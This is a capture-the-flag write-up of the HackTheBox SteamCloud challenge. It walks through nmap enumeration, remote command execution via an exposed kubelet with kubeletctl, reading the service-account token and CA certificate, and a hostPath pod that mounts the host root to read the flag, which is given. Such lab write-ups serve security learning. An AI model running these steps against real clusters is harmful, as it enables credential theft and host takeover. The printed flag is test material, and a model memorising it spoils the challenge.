HackTheBox Uni CTF 2021 (Quals) - SteamCloud Writeup
Uni CTF 2021 (Quals) was an event organized by a team from HackTheBox. I participated with my team pwrsyntaxerror
which is part of White Hats Scientific Circle from WUST. I found one challenge especially interesting so I thought it may be fun to share my walkthrough with all of you.

Enumeration
What we have at the beginning is the IP address (in this case 10.129.96.98
) of, what I assumed from the description, Kubernetes cluster. With this kind of challenges, it is almost always good idea to enumerate with nmap (or its equivalent). I used simple commands which I always run in the background so when I come back, I have results waiting for me. First, I want to know which ports are open:
$ nmap -p- -v -oN nmap-all.res 10.129.96.98
Nmap scan report for 10.129.96.98
Host is up (0.074s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
22/tcp open ssh
2379/tcp open etcd-client
2380/tcp open etcd-server
8443/tcp open https-alt
10249/tcp open unknown
10250/tcp open unknown
10256/tcp open unknown
Then, I want to know what is really working behind those ports. Nmap command listed below allows me to do just that:
$ nmap -p 22,2379,2380,8443,10249,10250,10256 -sC -sV -oN nmap-detailed.res 10.129.96.98
Nmap scan report for 10.129.96.98
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e7:0d:f9:66:cf:c8:54:e4:72:3f:87:f2:60:34:e9:1c (RSA)
| 256 35:21:a2:1f:a9:dd:32:83:67:c8:97:7f:17:61:27:d0 (ECDSA)
|_ 256 22:08:6d:95:2c:9a:5e:06:58:e5:5e:57:a3:c2:35:84 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.98, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-17T14:44:56
|_Not valid after: 2022-11-17T14:44:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.98, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-17T14:44:56
|_Not valid after: 2022-11-17T14:44:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.98, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-16T14:44:52
|_Not valid after: 2024-11-16T14:44:52
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request
| ssl-cert: Subject: commonName=steamcloud@1637160300
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-17T13:44:59
|_Not valid after: 2022-11-17T13:44:59
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
This looks just like ordinary, not secured from the world kube cluster… or does it?
Minikube’s 8443
port is opened so I started from there.
According to official docs, minikube is local Kubernetes, focusing on making it easy to learn and develop for Kubernetes. We used that to learn Kuberenetes before our last edition of Break The Syntax CTF (2020). It exposes port 8443 by default.
kubectl
is an official tool that allow developers or admins to control the Kubernetes cluster manager (in our case - minikube). I configured the kubectl in ~/.kube/config
with proper IP address and tried to use that to access manager but unfortunately it was hidden behind the authentiation.

Without any credentials or tokens I was stuck there. Fortunately, I found one interesting thing when I was trying to make sense of the nmap output - port 10250
is the default port for kubelet.
The
kubelet
is the primary “node agent” that runs on each node.
Fortunately, there is already a tool that eases interactions with any kubelet - kubeletctl. What we need is a Kubernetes cluster (checked ✓), an open 10250
port (checked ✓) and… that’s it! I cloned the kubeletctl repository and tried to run a few commands. To my surprise, I had rights to list running pods (with, obviously, runningpods
flag):
$ kubeletctl -s 10.129.96.98 runningpods
It returned a json with details of all running pods. One entry caught my attention (was different than the others which were rather default):
{
"metadata": {
"name": "nginx",
"namespace": "default",
"uid": "...",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "sha256:...",
"resources": {}
}
]
},
"status": {}
}
Initial access
At this point, I had pod and its container name - what I could do now is execute commands in that container. One thing important to mention about Kubernetes - service account tokens and certificates are automatically mounted in /run/kubernetes.io/secrets/serviceaccount
unless specified otherwise. It is a good idea to check whether it is the case here:
$ kubeletctl -s 10.129.96.98 exec "ls -la /run/secrets/kubernetes.io/serviceaccount/" -p nginx -c nginx

I sometimes used
timeout 50
in my commands, because they loved to hang and not want to stop. It just killed them after 50 seconds soarqsz 1:0 stubborn commands
And success! We have code execution on our pod and we can extract service account’s tokens to interact with Kubernetes cluster.

Let’s try to extract those credentials and use them in kubectl
:
$ kubeletctl -s 10.129.96.98 exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx -i | tee ca.crt
$ kubeletctl -s 10.129.96.98 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx -i | tee token
tee
allows me to see the output of commands but simultanously to save it to a file


Kubectl needs service account token (checked ✓), certificate (checked ✓) and an IP (checked ✓) so we are good to go with privilege escalation via pod escaping (or as I call it - pod racing)

Privilege escalation (escape from the pod)
Authenticated kubectl allows us to create Pods specified in YAML files - so let’s create one:
apiVersion: v1
kind: Pod
metadata:
annotations:
labels:
name: attack-pod
namespace: default
spec:
containers:
- image: nginx:1.14.2
imagePullPolicy: IfNotPresent
name: attack-container
volumeMounts:
- mountPath: /mnt/root
name: mount-root
volumes:
- name: mount-root
hostPath:
path: /
I used the same container image as in the original nginx container 1.14.2
just in case I was not allowed to pull images. Root directory from host filesystem was mounted in /mnt
in pod’s container so we had an access to it.
$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt get pod
$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt apply -f attack-pod.yaml
$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt get pod

And another success. Now all is left is to extract flag and submit it:
$ kubeletctl -s 10.129.96.98 exec "ls -la /mnt/root/root" -p attack-pod -c attack-container -i
$ kubeletctl -s 10.129.96.98 exec "cat /mnt/root/root/flag.txt" -p attack-pod -c attack-container -i


Flag: HTB{d0n7_3Xpo53_Ku83L37}
Summary
It was really interesting challenge during which I definitely learned something new. More writeups may appear on my website in the future. Thanks for reading!